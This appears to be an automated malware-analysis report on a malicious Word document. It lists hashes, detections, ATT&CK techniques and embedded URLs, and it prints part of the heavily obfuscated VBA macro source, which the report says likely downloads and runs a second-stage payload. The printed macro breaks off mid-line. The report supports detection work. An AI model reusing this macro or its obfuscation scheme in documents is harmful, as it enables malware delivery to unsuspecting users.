Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e9535d0d5e8e1777…

MALICIOUS

Office (OLE)

383.0 KB Created: 2018-05-14 15:02:00 Authoring application: Microsoft Office Word First seen: 2018-09-04
MD5: 0e7b32d23fbd6d62a593c234bafa2311 SHA-1: ff59cb2b4a198d1e6438e020bb11602bd7d2510d SHA-256: e9535d0d5e8e17779b49607988cdb0547efb6abb482dab497a5f0da87cbefc96
124 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros, as indicated by the OLE_VBA_MACROS and OLE_VBA_CREATEOBJ heuristics. The ClamAV detection 'Win.Trojan.Agent-6754302-0' strongly suggests malicious intent. The VBA macro code, though obfuscated, likely attempts to download and execute a second-stage payload, a common technique for malware delivery.

Heuristics 5

  • ClamAV: Win.Trojan.Agent-6754302-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Agent-6754302-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.labor-spiez.ch/pdf/de/rue/Spiez_Convergence_2014_web.pdf In document text (OLE body)
    • https://www.labor-spiez.ch/pdf/en/rue/LaborSpiezConvergence2016_02_FINAL.pdfIn document text (OLE body)
    • http://www.day.com/dam/1.0In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 25376 bytes
SHA-256: b5a203edbd20dc96f5fd49ade86b9497dbd920514a4d42cdb495347da6a01bcc
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function tfNaRhVGiNw(rMOBquizQidfuY3 As String) As String
    Dim tVqwRdTJD As String
    Dim HtupShcIikIHJa As String
    Dim RMILlFmHZrQOPHCRxu As String
    Dim qPreGCnvlhVprSEW As String
    Dim HDNkzlpcpKsMIdDS As String
    Dim jGBdSOuaTi As String
    Dim ICCNmDkzbpo As String
    Dim bOrzogXniawpXlG As String
    Dim LEiiNIwNsh As String
    Dim YeGkemxylp As String
    Dim nlPgcpOuKKuzykGv As String
    Dim TPTFQIOU As String
    Dim ZvPQTIroojCOGl As String
    Dim lmCPcPVINKG As String
    Dim QjvgpqCfRFUWjU As String
    Dim KHtCdGLsLqZV As String
    Dim apoAXZRsdVd As String
    Dim zgwEK As String
    Dim nAPnScPISpGFFRcnF As String
    qPreGCnvlhVprSEW = "ƒ‹IN" & sfiSFQuRDPlM("49659190") & "IKPk" & "�˜‘�" & "‡JJD" & "�SŸ�" & "RŸDB" & "OˆIƒ…" & "Š‡INI" & sfiSFQuRDPlM("85494b4b") & sfiSFQuRDPlM("4b5d42469d") & "•‚cx" & "g‚’ƒ" & "–ŠŸB_" & sfiSFQuRDPlM("42469d74") & "Ÿ]BF" & "�h—‚tŽ" & "Ÿ_JD�" & sfiSFQuRDPlM("579f9d529f9d") & sfiSFQuRDPlM("549f9d58") & sfiSFQuRDPlM("9f9d599f") & sfiSFQuRDPlM("9d5a9f9d") & "UŸ�VŸ�SŸ" & "DBOˆI’•\" & "INI–INIQ" & sfiSFQuRDPlM("518f9b958790494e4985858795") & "•PŽ‘‰P–INIšIN" & "IŠ––INI–P" & sfiSFQuRDPlM("91494e4994494e4989") & sfiSFQuRDPlM("5183494b5d42469d9585828a728263966a9f5f") & "F�•c‚x"
    ZvPQTIroojCOGl = sfiSFQuRDPlM("655c7e79") & "‹�f‘yu~•" & "›•vg�UT~eof" & sfiSFQuRDPlM("50677a8742") & "BQ…BBBDu‡vBBuvk" & "_BBBBF‹" & "dj”yB_BB}–›rg" & " JD�TŸ�YŸ�ZŸ�U" & "Ÿ�RŸ�WŸ�SŸ�XŸ" & "�VŸDOˆBIgt‹INItkpiN•INIe" & "qnngINIg�INIP‘„lgev" & "INI…Pf‹e–‹qpct›}•–IN" & "I›u–goINI…INI–k‘p•P‰IK]B" & sfiSFQuRDPlM("4242504a449d529f9d539f9d54")
    HtupShcIikIHJa = "–‘IN" & sfiSFQuRDPlM("4983494e4996") & sfiSFQuRDPlM("8b8e9549") & "KKPIi" & sfiSFQuRDPlM("6796688b8782") & sfiSFQuRDPlM("8e66494a") & sfiSFQuRDPlM("4a449d53") & sfiSFQuRDPlM("9f9d529f") & "�VŸ�TŸ�" & "WŸ�UŸD" & sfiSFQuRDPlM("424f884983494e") & "I…IN" & sfiSFQuRDPlM("49859b75494e4995") & "INI…Š" & sfiSFQuRDPlM("878669949197927291") & "Ž‹INI" & "‡––‹�‰IKNIpI" & sfiSFQuRDPlM("4d4a449d559f9d549f9d539f9d52") & "ŸDBOˆI…I" & "NI‹INIŽ‹…Nu–ƒ" & "–INI‘�r—„IKK]khJF" & "�‰‚’ˆŸK�F�i‚" & "’eŸ_F�i‚rhŸPJD�RŸ�SŸ�TŸDBO"
    apoAXZRsdVd = "BJD�" & "SŸ�RŸ" & sfiSFQuRDPlM("9d549f444f") & "ˆI‹c„" & "nINI˜c" & "”INI‡" & "\RV�" & "IKBJ" & "BB}–›r‡" & sfiSFQuRDPlM("7f4a449d56") & sfiSFQuRDPlM("9f9d559f9d52") & sfiSFQuRDPlM("9f9d539f9d579f") & "�TŸDOˆB" & sfiSFQuRDPlM("4950958774") & sfiSFQuRDPlM("986b656792494e4991") & sfiSFQuRDPlM("494e4963") & "�ci‡tINIP" & "�gvINIu" & "›uv‡oI" & "NIk�" & sfiSFQuRDPlM("966f494b4b42425d42424670988353") & "kBB_B}–›" & "r‡ JD�RŸ�SŸ�X" & "Ÿ�VŸ�TŸ�WŸ�UŸDO" & "hIu{INIu–gINI–P" & sfiSFQuRDPlM("7967494e499787757649")
    ICCNmDkzbpo = "�˜‘�‡JJD" & "�SŸ�RŸDOˆI" & "‡�’INI–IKKB" & "Oƒ�†" & "BJF�”ŸPJD�" & sfiSFQuRDPlM("529f9d539f9d549f") & "DOˆIvINI‘nINI‘™‡" & "”IKPk�˜‘�‡" & "JKKPJD�SŸ�RŸDO" & sfiSFQuRDPlM("88424995494e4965919096838b90494b506b9098918d") & "‡JD–�’DKBOƒ�†BJF�tŸP" & "JD�RŸ�SŸD" & "OˆIv‘n‘™INI‡”IKPk�˜‘�‡JKKPJD�TŸ�S" & "Ÿ�RŸDBOˆI�•INI–"
    nAPnScPISpGFFRcnF = "NIP�" & sfiSFQuRDPlM("87494e4964") & "”gsIN" & sfiSFQuRDPlM("498f494b5d") & "BPJD" & sfiSFQuRDPlM("9d549f9d52") & "Ÿ�SŸ" & "DBOˆIg" & "INIo" & "INI•‡v" & sfiSFQuRDPlM("4f8b76494b42") & "BJDxDMDc" & sfiSFQuRDPlM("94444d446b83") & "DMDdŽ‡\�" & "�†DKBBJ" & "B}–{r‡ J" & "D�XŸ�UŸ" & sfiSFQuRDPlM("9d569f9d579f9d529f9d54") & "Ÿ�SŸ" & sfiSFQuRDPlM("444f684990766b838e8563") & sfiSFQuRDPlM("494e496a67494e4985") & "INI•–‡INIoP" & "�INI‡v" & "Pet‡†‡INI•{IKKB]BBBF" & "„“˜oB_B}v›’g JD" & sfiSFQuRDPlM("9d549f9d52")
    LEiiNIwNsh = "ŸDOˆ" & "IuINI" & sfiSFQuRDPlM("6776494e49") & "O‹vgo" & "IKBJD�RŸ" & "�TŸ�S" & "ŸDBOˆB" & "Ixc”I" & "NIn‡\" & "YdSoINI‹" & "cdIKBBJ}–{" & sfiSFQuRDPlM("72877f4a") & "D�TŸ�UŸ�" & "SŸ�RŸDBOˆI" & "q…�INIŽ" & "INI•INI…" & "”k’–„IK" & "BBKB]BBBFo|u" & s
... (truncated)

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